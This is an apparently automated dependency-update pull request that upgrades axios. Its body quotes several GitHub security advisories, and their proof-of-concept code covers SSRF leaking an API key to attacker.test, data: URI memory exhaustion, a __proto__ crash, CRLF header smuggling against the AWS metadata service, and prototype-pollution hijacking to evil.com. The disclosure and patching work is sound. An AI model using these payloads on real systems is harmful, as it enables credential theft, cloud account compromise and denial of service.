chore(deps): update dependency axios to v1.15.2 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	1.6.2 → 1.15.2

---

Server-Side Request Forgery in axios

CVE-2024-39338 / GHSA-8hc4-vh64-cxmj

More information

Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-39338
• https://github.com/axios/axios/releases
• https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/pull/6539
• https://github.com/axios/axios/pull/6543
• https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a
• https://github.com/axios/axios/releases/tag/v1.7.4
• https://github.com/advisories/GHSA-8hc4-vh64-cxmj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
• https://github.com/axios/axios/releases/tag/v1.8.2
• https://nvd.nist.gov/vuln/detail/CVE-2025-27152
• https://github.com/axios/axios/pull/6829
• https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
• https://github.com/advisories/GHSA-jr5f-v2jv-69x6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
• https://github.com/axios/axios/pull/7011
• https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593
• https://github.com/axios/axios/releases/tag/v1.12.0
• https://nvd.nist.gov/vuln/detail/CVE-2025-58754
• https://github.com/axios/axios/pull/7034
• https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67
• https://github.com/axios/axios/releases/tag/v0.30.2
• https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06
• https://github.com/advisories/GHSA-4hjh-wcwx-xvwj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
• https://github.com/axios/axios/pull/7369
• https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
• https://github.com/axios/axios/releases/tag/v1.13.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-25639
• https://github.com/axios/axios/pull/7388
• https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
• https://github.com/axios/axios/releases/tag/v0.30.3
• https://github.com/advisories/GHSA-43fc-jf86-j433

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

• Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
• Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
• Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
• https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-40175
• https://github.com/axios/axios/pull/10660
• https://github.com/axios/axios/pull/10660#issuecomment-4224168081
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-fvcv-3m26-pcqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
• https://nvd.nist.gov/vuln/detail/CVE-2025-62718
• https://github.com/axios/axios/pull/10661
• https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
• https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
• https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-3p68-rc4w-qgx5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

• Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
• Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
• SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
• Code execution: Attacker-supplied functions execute during HTTP redirects.
• Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj
• https://github.com/advisories/GHSA-q8qp-cvcw-x6jj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

• CWE-626: Null Byte Interaction Error (Poison Null Byte)
• CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

• Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
• Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
• Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

• CWE-626: Null Byte Interaction Error
• CWE-116: Improper Encoding or Escaping of Output
• OWASP: Embedding Null Code
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw
• https://nvd.nist.gov/vuln/detail/CVE-2026-42040
• https://github.com/advisories/GHSA-xhjh-pmcv-23jw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

